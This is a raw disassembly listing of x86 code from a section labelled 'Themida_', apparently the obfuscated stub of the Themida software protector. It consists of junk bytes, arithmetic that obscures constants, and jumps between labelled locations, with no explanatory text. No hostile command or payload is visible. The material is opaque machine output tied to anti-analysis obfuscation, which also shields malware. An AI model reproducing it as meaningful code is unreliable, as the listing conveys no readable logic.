		mov	ecx, 5EE8733Fh
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_601330
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 243C8700h, 1E09E9h
		db 0
byte_601005	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005F682Co
		dd 4EC8324h, 89240C89h,	4C181E1h, 83000000h, 0C8704E9h
		dd 3C895C24h, 505F5424h, 435196B8h, 5E0C10Ah, 456E7005h
		dd 8E8C157h, 3F041C05h,	0B3B92D4Bh, 0C7014BDEh,	0FFD4B1E9h
		dd 664968FFh, 11E90000h, 81FFFFE1h, 776BD2C3h, 0C3815E69h
		dd 2, 31241C33h, 1C33241Ch, 0F665C24h, 9C2404B3h, 0FF58D2E9h
		db 0FFh
byte_601071	db 68h,	34h, 12h	; DATA XREF: Themida_:005F6820o
		dd 0C890000h, 0E684E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60107E:				; CODE XREF: Themida_:00600B40j
		and	eax, edx
		mov	edx, [esp]
		push	edx
		jmp	loc_5FFCB5
; ---------------------------------------------------------------------------
		db 0E9h, 0B5h, 58h
		dd 0F4BEFFFFh, 0E927B036h, 0FFFF716Ch, 504C483h, 4, 3304E883h
		dd 33E92404h, 81FFFFF0h, 4C4h, 0B8505700h, 5CFA03EAh, 571AE135h
		dd 58C78944h, 4359BB53h, 0DF092134h, 0E9241C8Bh, 0FFFF8C3Fh
		dd 21E9EF31h, 0F6FFFF66h, 0F893E9D7h, 0E951FFFFh, 0FFFFD96Ah
; ---------------------------------------------------------------------------


loc_6010E4:				; CODE XREF: Themida_:005FA046j
		add	edi, eax
		sub	edi, 690A23ABh
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5F6958
; ---------------------------------------------------------------------------
		dd 0D6F7D6F7h, 0A379EE81h, 42E95142h, 0C0FFFFBCh, 536602E2h
		dd 80DEB252h, 0E2807EC2h, 0C6B35389h, 8007EBC0h, 0DA2056EBh
		dd 0DBC2805Bh, 0FF7EC8E9h, 80CCFEFFh, 3FE942C4h, 0D2FFFF90h
		dd 0E99C2424h, 0FFFF5807h, 502BC681h, 0FE011C5Eh, 502BEE81h
		dd 0E5E91C5Eh, 0B7FFFF73h, 3EFC070h, 804BB652h,	0F700BBEEh
		dd 8BFA205Ah, 0C483241Ch, 8FE95304h, 0BDFFFF9Ah, 2, 4041232Dh
		dd 55E8014Ah, 404123BDh, 5DE8014Ah, 2404875Dh, 0E924248Bh
		dd 0FFFFB0B0h
; ---------------------------------------------------------------------------


loc_60118C:				; CODE XREF: Themida_:005F8962j
		mov	[esp], edx
		mov	edx, 37C518C3h
		jmp	loc_601FB6
; ---------------------------------------------------------------------------
		db 29h,	0CBh, 0E9h
		dd 0FFFF7901h, 4C781h, 0C7830000h, 243C8704h, 24048F5Ch
		dd 0A07E9h, 0A5E95100h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6011BB:				; CODE XREF: Themida_:005F6D25j
		mov	ecx, [esp]
		jmp	loc_5FE733
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF6B4BE9h, 4C681FFh, 0E9000000h, 0FFFFD103h, 0BD242C89h
		dd 4, 0FFC662E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6011E1:				; CODE XREF: Themida_:005FCC1Aj
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_60240F
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFF865E9h
		db 0FFh
byte_6011F1	db 83h,	0ECh, 4		; DATA XREF: Themida_:005F670Co
		dd 0E9243C89h, 0FFFF6573h, 8B04C483h, 0C483241Ch, 5739E904h
		dd 0CA80FFFFh, 0D5EA8087h, 3003EA80h, 2434FFD0h, 91FAE95Ah
		dd 895CFFFFh, 0A1E9243Ch, 89FFFF7Dh, 0B6E9240Ch
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_60122F:				; CODE XREF: Themida_:005FC8C7j
		pop	ebp
		jmp	loc_5F9FA7
; ---------------------------------------------------------------------------
		db 4Fh,	56h, 0E9h
		dd 0FFFF8AA6h
; ---------------------------------------------------------------------------


loc_60123C:				; CODE XREF: Themida_:006029A9j
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5F6FAA
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704C583h, 55C242Ch, 4, 0FF83B4E9h, 0F1C581FFh
		dd 0E9B93BBAh, 0FFFFD52Ch, 4C681h, 0BA520000h, 5EE3391Fh
		dd 51FFC283h, 0EE3D89B9h, 13C18146h, 812D994Eh,	0DE4D92E9h
		dd 0E1814141h, 2F7C0A4Dh, 2B04F181h, 78E91579h
		db 79h,	2 dup(0FFh)
byte_60129F	db 0FFh			; DATA XREF: Themida_:005F68B8o
		dd 9CE92C77h, 41FFFF56h, 7FD3E181h, 86E92BF0h, 59FFFFC1h
		dd 910EB81h, 0F32918A6h, 910C381h, 0A4E918A6h
		db 5Ch,	2 dup(0FFh)
byte_6012C7	db 66h			; DATA XREF: Themida_:005F68A0o
		dd 8124048Bh, 4ECh, 8ECAE900h
		db 2 dup(0FFh)
word_6012D6	dw 478Fh		; DATA XREF: Themida_:005F66D4o
		dd 85C3E940h, 5A54FFFFh, 4C281h, 56550000h, 85C79BEh, 9DEBD0Ah
		dd 2CE9163Ch, 57FFFFF5h, 42474FFh, 0FF9278E9h, 4C281FFh
		dd 83000000h, 0D0E904EAh, 5F000007h, 4C381h, 4C680000h
		dd 89000019h, 74FF241Ch, 66E90424h, 5FFFFFECh, 0E92434FFh
		dd 0FFFF9B9Ch
; ---------------------------------------------------------------------------


loc_601330:				; CODE XREF: Themida_:00600FF2j
		add	esp, 4
		mov	edx, 9F704957h
		sub	edx, ebp
		pop	ebp
		sub	eax, edx
		pop	edx
		add	eax, 1
		sub	esp, 4
		mov	[esp], ebx
		push	7A2Bh
		mov	[esp], ecx
		mov	ecx, 8774C1Bh
		jmp	loc_5FF4AD
; ---------------------------------------------------------------------------
		dd 0E631C581h, 0EF019CC3h, 83242C8Bh, 0C78104C4h, 2, 0E9243C87h
		dd 0FFFFEFE7h
; ---------------------------------------------------------------------------


loc_601378:				; CODE XREF: Themida_:005F9059j
		mov	ebx, esi
		pop	esi
		inc	ebx
		jmp	loc_5FCFCD
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 80h
		dd 0EB8054C3h, 0B353502Bh, 0A9C4E9A4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601392:				; CODE XREF: Themida_:005F76CEj
		sub	cl, 69h
		push	eax
		mov	al, cl
		mov	dl, al
		pop	eax
		pop	ecx
		push	eax
		mov	ah, 61h
		neg	ah
		xor	ah, 24h
		not	ah
		shl	ah, 5
		sub	ah, 0D1h
		and	dl, ah
		pop	eax
		and	dl, 0CEh
		push	cx
		mov	ch, dl
		not	ch
		jmp	loc_5FB861
; ---------------------------------------------------------------------------
		db 83h,	0EAh, 0FFh
		dd 0B951D2F7h, 7191598Eh, 9D5DC181h, 0C7E99934h, 5FFFFFE3h
		dd 0FFE72AE9h, 5ECF80FFh, 0FFE420E9h
		db 0FFh
byte_6013E1	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F6794o
		dd 0ED14E924h, 0DF29FFFFh, 0E9241C8Bh, 0FFFFFC03h, 81241C8Bh
		dd 4C4h, 0D556E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601402:				; CODE XREF: Themida_:005FB007j
		or	eax, eax
		jz	loc_5F7A90
		push	2204h
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5FA028
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 147F271Ah, 3C8BFD01h, 4C48324h, 26852h, 15A0000h, 24148BD5h
		dd 8704C483h, 248B242Ch, 148B6624h, 58545024h, 0EDBBD55h
		dd 0EDC16CEFh, 0E7FBE907h, 0FF5CFFFFh, 53582434h, 0EC83E389h
		dd 240C8904h, 7B7663B9h, 52C98135h, 811A503Ah, 2F28F8F1h
		dd 0E1C14927h, 54F18103h, 1C2A2B4h, 0E296E9CBh,	2489FFFFh
		dd 24048124h, 4, 81241C8Bh, 4C4h, 4C38100h, 81000000h
		dd 4ECh, 0EDAE900h, 0BA520000h,	79F7046Bh, 0FFB3D0E9h
		dd 0EC8159FFh, 4, 0FFF43CE9h, 321368FFh, 0C890000h, 7E23B924h
		dd 0E18122DEh, 63B440ECh, 0FF83FDE9h, 48F59FFh,	24248B24h
		dd 240CFF66h, 176DE99Ch, 4BF0000h, 29000000h, 1C875FFBh
		dd 14895C24h, 89575124h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 2414895Ch, 0FFD17DE9h, 51EAB0FFh, 8852C588h,	5AD388EAh
		dd 0D9885859h, 0E9241C8Bh, 11B1h, 7D48FEB9h, 8C8CE967h
		dd 0C568FFFFh, 89000016h, 4812424h, 424h, 0E536E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60155E:				; CODE XREF: Themida_:005FB03Ej
		add	dword ptr [esp], 6B74A1Bh
		pop	ecx
		sub	ecx, 6B74A1Bh
		jmp	loc_5FD3F9
; ---------------------------------------------------------------------------
aF_2		db ',,f',0
		dw 4C8h
aFfy0HM		db 'ffY[0hm',0
		dw 8900h
		dd 68512414h, 39C1DB1h,	3E9C159h, 0FFE43AE9h, 3EC80FFh
		dd 0EC80D4F6h, 6CF5E947h, 0EC81FFFFh, 4, 0FFB37CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6015AD:				; CODE XREF: Themida_:005F9DE2j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_5FA783
; ---------------------------------------------------------------------------
aHxs		db '^hXS',0
		dw 8900h
		dd 0FDBA2414h, 930F71Ah, 875E9D3h, 0E5800000h, 80CDFE2Bh
		dd 0C7E990CDh, 1FFFF6Ah, 0A670E9D7h, 48FFFFFh, 5355E987h
		dd 0EE81FFFFh, 1BED2DDDh, 0D9B7E958h, 3068FFFFh, 0E900007Ah
		dd 0FFFFE8FFh, 59CD315Bh, 2C8BEE01h, 4C48324h, 0E9243487h
		dd 8CFh, 8104EE83h, 4ECh, 24348900h, 0FF5412E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_601629:				; CODE XREF: Themida_:005FE73Dj
		add	esi, 4
		jmp	loc_5F8873
; ---------------------------------------------------------------------------
		dd 610CE81h, 24E95F28h,	87FFFF8Bh, 885C241Ch, 0E95B873Ch
		dd 0FFFF52F7h, 0FF52F2E9h, 52EDE9FFh, 0C780FFFFh, 0EF804Fh
		dd 0E95BFA88h, 0FFFFB6BAh, 4B85046h, 31A9EEF8h,	0F00158C6h
		dd 0F8C7E95Eh, 5266FFFFh, 0F1282AB6h, 0C1FE5A66h, 0C9FED9F6h
		dd 0E941E980h, 0FFFF8783h
; ---------------------------------------------------------------------------


loc_60168C:				; CODE XREF: Themida_:005FF1F7j
		pop	ecx
		pop	eax
		push	ebx
		mov	ebx, 73F2013Fh
		sub	eax, 5F0663Ah
		sub	eax, 0F620017h
		sub	eax, ebx
		add	eax, 0F620017h
		push	esi
		mov	esi, 6C12690Bh
		add	esi, 88F19F7h
		not	esi
		jmp	loc_5F8955
; ---------------------------------------------------------------------------


loc_6016B8:				; CODE XREF: Themida_:005FEF07j
		shl	ebp, 1
		add	ebp, 0CA7CA43Ch
		add	ecx, ebp
		pop	ebp
		sub	edi, 6B2D1136h
		add	edi, ecx
		add	edi, 6B2D1136h
		jmp	loc_5FC5EE
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4EAh, 24148700h, 242C895Ch, 0FFDD64E9h
		db 0FFh
byte_6016E9	db 66h,	8Bh, 4		; DATA XREF: Themida_:005F66F0o
		dd 0F5E95624h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6016F3:				; CODE XREF: Themida_:00602C37j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5FD973
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 3C87D7F7h, 0B8505E24h, 0B7872FDh, 0A434C35h,	6F21E903h
		dd 0E0C0FFFFh, 0E9093408h, 0FFFFB920h
; ---------------------------------------------------------------------------


loc_601730:				; CODE XREF: Themida_:005F8762j
		pop	ebx
		pop	cx
		jmp	loc_5FD21D
; ---------------------------------------------------------------------------
		dd 348BF221h, 4C48324h,	16BCEA81h, 2B680811h, 89000014h
		dd 4812414h, 7B4F6D24h,	0BD555924h, 247B4F6Dh, 8B5DE929h
		dd 0CDE92414h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601767:				; CODE XREF: Themida_:005FBBD6j
		push	ecx
		jmp	loc_5FBE64
; ---------------------------------------------------------------------------
		db 68h,	0FBh, 1Dh
		dd 14890000h, 50F5B624h, 0E588F488h, 0EB285A58h, 83240C8Bh
		dd 0B60F04C4h, 148B66C0h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	555Fh
		jmp	loc_5FD825
; ---------------------------------------------------------------------------


loc_60179A:				; CODE XREF: Themida_:00600E32j
		push	ebp
		push	70B7h
		mov	[esp], eax
		mov	eax, 7C360013h
		dec	eax
		shl	eax, 8
		push	ebx
		mov	ebx, 36C0781Dh
		jmp	loc_5FC0F6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68100h, 0E9000000h, 0FFFFD6C5h, 33243431h, 55E92434h
		dd 59FFFF56h, 6452E22Dh, 55D80100h, 6452E2BDh, 8BE80100h
		dd 0C483242Ch, 13D5E904h, 0D5F60000h, 0C280EA86h, 0B4EB806Bh
		dd 0C380D328h, 2434FFB4h, 7791E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601806:				; CODE XREF: Themida_:005FC606j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 27924751h
		mov	ecx, edi
		pop	edi
		push	edx
		mov	edx, 2792474Dh
		sub	ecx, edx
		pop	edx
		mov	esi, ecx
		pop	ecx
		mov	edi, esi
		pop	esi
		sub	esi, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5FF8CF
; ---------------------------------------------------------------------------
		db 33h
		dd 575C243Ch, 0C781E789h, 4, 0E904C783h, 0FFFFFAA3h, 4240483h
		dd 0BA51E959h, 489FFFFh, 3B0CB824h, 0C789F4EBh,	0E9FE0158h
		dd 1663h, 595BF004h, 4D8C68h, 240C8900h, 0F58081B5h, 68E952C2h
		db 99h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601887:				; CODE XREF: Themida_:005FE2FBj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5FB7B8
; ---------------------------------------------------------------------------


loc_601890:				; CODE XREF: Themida_:00602C66j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_601D6F
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E9E28952h, 0FFFF8B94h, 0BB241C89h, 2, 52DAC781h, 0DF013D8Ah
		dd 52DAEF81h, 0D2E93D8Ah
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6018C3:				; CODE XREF: Themida_:005F97C1j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 28E97D65h
		dec	edi
		push	ecx
		mov	ecx, 28E97D60h
		sub	edi, ecx
		pop	ecx
		sub	eax, 5F6D5B43h
		jmp	loc_600E37
; ---------------------------------------------------------------------------
		db 0B9h, 4, 0
		dd 0BA520000h, 2B917918h, 8245429h, 0FF737AE9h,	6EFC1FFh
		dd 5BCBBB53h, 0CB8172D7h, 1BB87FF9h, 13F3E952h,	0BB530000h
		dd 677254D2h, 8EBC143h,	7250EB81h, 0EF810067h, 7E3D423Fh
		dd 0C781DF01h, 7E3D423Fh, 0FF7FACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_601931:				; CODE XREF: Themida_:005FCCC7j
		mov	ecx, [esp]
		add	esp, 4
		or	ecx, 57F807A4h
		sub	ecx, 5A097638h
		mov	edx, ecx
		pop	ecx
		jmp	loc_5FFD03
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24348900h, 0B8686650h,	66586636h, 6610962Dh, 6674BB2Dh
		dd 6630A735h, 6675552Dh, 6658C689h, 4042F681h, 0D9EB8166h
		dd 0F3016647h, 0D9C38166h, 0C7E95E47h, 0FFFFFFCAh, 0B4E98734h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_60198F:				; CODE XREF: Themida_:00602C45j
		push	cx
		jmp	loc_5F9222
; ---------------------------------------------------------------------------


loc_601996:				; CODE XREF: Themida_:005F9D45j
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 353C5515h
		jmp	loc_5FE2E4
; ---------------------------------------------------------------------------


loc_6019A4:				; CODE XREF: Themida_:00602051j
		sub	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_601C40
; ---------------------------------------------------------------------------
		db 1
		dd 895359CAh, 4C381E3h,	81000000h, 4EBh, 241C8700h, 242C895Ch
		dd 0FF736BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6019D5:				; CODE XREF: Themida_:00600D12j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_5F6D06
; ---------------------------------------------------------------------------


loc_6019E1:				; CODE XREF: Themida_:005F965Fj
		xor	edx, [esp]
		jmp	loc_5F6B57
; ---------------------------------------------------------------------------
		db 0B5h, 15h, 30h
		dd 0B0E3E9FDh, 0C481FFFFh, 4, 68h, 24142900h, 87B8505Ah
		dd 31B04319h, 3EE958C2h, 5BFFFF59h, 8059EA00h, 0E2808CEAh
		dd 0A15FE9E5h, 29BAFFFFh, 810EC376h, 4ECh, 241C8900h, 82A32BBh
		dd 245C0175h, 5A25E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601A3A:				; CODE XREF: Themida_:005FC9D7j
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_5FF376
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 18C58107h, 89FEE0D1h, 0C3815DEEh, 2DC61491h,	59E9F301h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601A63:				; CODE XREF: Themida_:005FA90Ej
		add	edi, 75290B5Bh
		sub	edi, 571041FAh
		add	edi, ecx
		add	edi, 571041FAh
		sub	edi, 75290B5Bh
		pop	ecx
		jmp	loc_5FCF30
; ---------------------------------------------------------------------------
		db 0BBh
		dd 148A5725h, 15BDF29h,	25C781DFh, 8B148A57h, 0C481241Ch
		dd 4, 8B243C87h, 0C90B2424h, 695B840Fh,	0AA68FFFFh, 0E900002Dh
		dd 0FFFFBA04h
; ---------------------------------------------------------------------------


loc_601AB4:				; CODE XREF: Themida_:005FDFF6j
		sub	ebx, 8DC668Ch
		add	ebx, ecx
		add	ebx, 8DC668Ch
		mov	ecx, [esp]
		jmp	loc_5FF8A5
; ---------------------------------------------------------------------------


loc_601ACA:				; CODE XREF: Themida_:005F6EC0j
		mov	eax, 284A8398h
		xor	ecx, eax
		jmp	loc_5FFB0E
; ---------------------------------------------------------------------------
		dw 431h
		dd 64E99C24h, 87FFFF4Eh, 895C2414h, 1E9241Ch, 0BDFFFFC1h
		dd 385C5D35h, 7AF9B951h, 0F181470Fh, 6252119Dh,	140AE181h
		dd 0E1C15DB8h, 2DC18104h, 0E9D4BC0Ch, 0FFFFA31Ah, 2CE930FFh
		dd 83FFFF4Eh, 2C8904ECh, 0ABBA5224h, 0E9677B68h, 0FFFF7C58h
		dd 0E904EC83h, 0FFFF931Bh, 4EC8358h, 0E9243C89h, 0FFFFBFF7h
		dd 39E9DD01h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601B43:				; CODE XREF: Themida_:00600DCAj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5FD39D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 5558C501h, 42474FFh, 24048F5Dh, 5203E95Ch
		dd 8956FFFFh, 4C681E6h,	83000000h, 348704C6h, 14335C24h
		dd 24143124h, 8B241433h, 4012424h, 0B0E99C24h, 51FFFF4Dh
		dd 330B02B9h, 59C8293Dh, 2C40B22Dh, 8BC601E3h, 0C4812404h
		dd 4, 0FFAEABE9h, 4FEA81FFh, 0E917C655h, 0FFFF6FF2h, 2824248Bh
		dd 0E99C2404h, 0FFFF4D7Bh
; ---------------------------------------------------------------------------


loc_601BC8:				; CODE XREF: Themida_:00602212j
		sub	ebp, 50981DF8h
		pop	ecx
		push	edx
		mov	edx, 505E2544h
		xor	edx, 678C5036h
		or	edx, 3AE74098h
		sub	edx, 3FF775F8h
		jmp	loc_5FE5BE
; ---------------------------------------------------------------------------
		dd 5750E689h, 850ED3BFh, 0B85067h, 29000000h, 0E95057F8h
		dd 0FFFFC0D0h
; ---------------------------------------------------------------------------


loc_601C04:				; CODE XREF: Themida_:005FBFEAj
		shr	ah, 5
		xor	ah, 46h
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, ah
		mov	bl, cl
		jmp	loc_600437
; ---------------------------------------------------------------------------
		dd 2C381h, 1C870000h, 70F0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601C2A:				; CODE XREF: Themida_:00602288j
		add	esp, 4
		jmp	loc_5FC3D3
; ---------------------------------------------------------------------------


loc_601C35:				; CODE XREF: Themida_:005FDC5Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_600B53
; ---------------------------------------------------------------------------


loc_601C40:				; CODE XREF: Themida_:006019B2j
		add	eax, 2636278Dh
		add	eax, ebx
		sub	eax, 2636278Dh
		mov	[eax], edx
		pop	eax
		mov	ebx, [esp]
		jmp	loc_5F6C63
; ---------------------------------------------------------------------------
		db 91h
		dd 0FFD857E9h, 8BD028FFh, 89532414h, 4C381E3h, 56000000h
		dd 4BEh, 5EF30100h, 5C241C87h, 0F1B252h, 0C8005AD0h, 8C04F12Ch
		dd 0CBA0E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601C8A:				; CODE XREF: Themida_:0060282Dj
		push	378Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebx
		mov	ebx, 379C10B0h
		not	ebx
		sub	ebx, 7DFB5A56h
		inc	ebx
		and	ebx, 1ACE26FBh
		xor	ebx, 7207CB6h
		sub	ebx, 0D687848h
		add	ecx, ebx
		pop	ebx
		jmp	loc_600D0A
; ---------------------------------------------------------------------------


loc_601CC0:				; CODE XREF: Themida_:005F8A4Dj
		pop	edx
		push	ebx
		mov	bh, 0A9h
		sub	bh, 0A0h
		or	bh, 0E0h
		xor	bh, 38h
		and	bh, 31h
		inc	bh
		push	cx
		mov	ch, 46h
		add	bh, ch
		jmp	loc_5FE42E
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 5C242C33h, 0FF2434FFh, 0E95A2434h, 0FFFFED87h, 0EF59EF81h
		dd 0F901BC83h, 72E95D5Fh, 29FFFFB4h, 2C8758C5h,	2C895C24h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 0E9241487h, 9AFh
		dd 0C321EDBDh, 86CD8110h, 81589155h, 7D66A9CDh,	9A40E96Fh
		dd 0C680FFFFh, 9172E9D1h, 0C781FFFFh, 4, 4C781h, 3C870000h
		dd 24248B24h, 6BC568h, 6A88E900h, 0E780FFFFh, 0C415E910h
		dd 0E980FFFFh, 59CE00B6h, 37E9F300h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601D6F:				; CODE XREF: Themida_:00601898j
		add	ebx, 4
		jmp	loc_5F945C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4835824h, 7DACE904h, 0C583FFFFh, 0BEF6E902h, 1DB7FFFFh
		dd 0E9D4B551h, 0FFFFCB4Ah
; ---------------------------------------------------------------------------


loc_601D98:				; CODE XREF: Themida_:005F8184j
		mov	edi, esp
		jmp	loc_602842
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0D906E949h
		db 2 dup(0FFh)
word_601DA6	dw 48Bh			; DATA XREF: Themida_:005F6788o
aRithjm		db '$RhJM',0
		dd 24348900h, 0BA771ABEh, 0D2D5E962h, 0F181FFFFh, 0BA3E4CD8h
		dd 34FFC831h, 3DE95924h
		db 0D1h, 2 dup(0FFh)
byte_601DCF	db 66h			; DATA XREF: Themida_:005F6710o
		dd 6824048Bh, 215Bh, 0E9243C89h, 0FFFF622Dh, 54ABF381h
		dd 0DE2178F7h, 4CE9535Bh, 52FFFF88h, 35A0BD55h,	0CD8161E8h
		dd 112A5696h, 0FFAC10E9h, 5AD501FFh, 4C581h, 2C870000h
		dd 0AF91E924h, 0D7F6FFFFh, 8813F780h, 0C2805BFAh, 0D3B5514Dh
		dd 0E5D0D5F6h, 0E9BEED80h, 0FFFF5D61h, 0BAh, 3CA0100h
		dd 7DE95A02h, 5FFFFF54h, 2BF57h, 1EE90000h, 8BFFFF68h
		dd 0C4812414h, 4, 7825BD55h, 0C9E90720h, 68FFFF52h, 59F6h
		dd 81242489h, 42404h, 48F0000h,	24048324h, 24048F04h, 4EC81h
		dd 14890000h, 0E4B2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601E82:				; CODE XREF: Themida_:005FD51Cj
		pop	ebp
		push	edx
		mov	edx, 4
		jmp	loc_5FC269
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 7CF312AFh, 106FE9h, 4AA5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601E9E:				; CODE XREF: Themida_:005FF23Bj
		push	esi
		mov	esi, 36DF5580h
		add	ebp, 42B60AADh
		sub	ebp, esi
		sub	ebp, 42B60AADh
		pop	esi
		add	ebp, 55DCB53Dh
		push	edx
		mov	edx, ebp
		jmp	loc_5FAA78
; ---------------------------------------------------------------------------


loc_601EC1:				; CODE XREF: Themida_:005F9654j
		shr	esi, 1
		shl	esi, 7
		sub	esi, 1D934AC0h
		sub	eax, 656D6E9Dh
		add	eax, esi
		add	eax, 656D6E9Dh
		pop	esi
		pop	esi
		push	edx
		jmp	loc_5FEAC2
; ---------------------------------------------------------------------------
		dd 48E9C5FEh, 5C000006h, 0FFF70DE9h, 242C89FFh,	0C581E589h
		dd 4, 2BE56h, 0F5010000h, 8324348Bh, 0FF5504C4h, 5D042474h
		dd 8B24048Fh, 0F1F62424h, 0CCB60F66h, 23606866h, 0FF583DE9h
		dd 0B65BFFFh, 0CF3197EDh, 0D0EF8159h, 1292579h,	0D0C781EFh
		dd 5D292579h, 0FF6FF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_601F3D:				; CODE XREF: Themida_:0060253Ej
		pop	edx
		add	cl, 0FFh
		jmp	loc_5FA4DC
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 10BB5302h, 29BE33AAh, 69B6E9DFh, 7368FFFFh, 8900004Bh
		dd 0CC882404h, 5058E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601F66:				; CODE XREF: Themida_:005F81B7j
		or	eax, eax
		jz	loc_5F93EE
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_602E02
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0C2810000h, 109702BEh, 5355FA29h, 1577DABBh
		dd 8AE4BD48h, 0DD01C881h, 78ABE95Bh, 0E959FFFFh, 0FFFF4CD0h
		dd 0FBDDE948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_601FB6:				; CODE XREF: Themida_:00601194j
		dec	edx
		dec	edx
		push	ebx
		mov	ebx, 507775F4h
		xor	ebx, 2ED4315Eh
		dec	ebx
		push	eax
		mov	eax, 411230E2h
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		xchg	eax, ebp
		pop	ebp
		inc	eax
		push	ebp
		mov	ebp, 435844EDh
		neg	ebp
		add	ebp, 44ED4750h
		inc	ebp
		inc	ebp
		neg	ebp
		add	ebp, 2E0635F7h
		jmp	loc_5FF5EF
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0AFDBA52h, 2FE94687h, 0C1FFFF91h, 0CE8107E6h, 6B66371Eh
		dd 351EBA52h, 0D6018603h, 552EE95Ah, 8F5AFFFFh,	248B2404h
		dd 9CC83B24h, 0FF491EE9h, 2434FFFFh, 0FFFB03E9h, 7E3C1FFh
		dd 76E0F381h, 0DF891E12h, 5FF9315Bh, 5E2D312Dh,	87F4E977h
		dd 0E95EFFFFh, 0FFFFBBCAh
; ---------------------------------------------------------------------------


loc_60204C:				; CODE XREF: Themida_:00600480j
		mov	ebp, 578C5D43h
		jmp	loc_6019A4
; ---------------------------------------------------------------------------
		dw 8F2Dh
		dd 0E9360F6Ch, 0FFFF4C54h
; ---------------------------------------------------------------------------


loc_602060:				; CODE XREF: Themida_:00602A58j
		or	edx, eax
		shl	edx, 1
		push	1D45h
		jmp	loc_5FF46D
; ---------------------------------------------------------------------------
		dw 0E328h
		dd 0FFCAA4E9h, 0E9535FFFh, 0B86h, 0C8B60F5Ch, 211568h
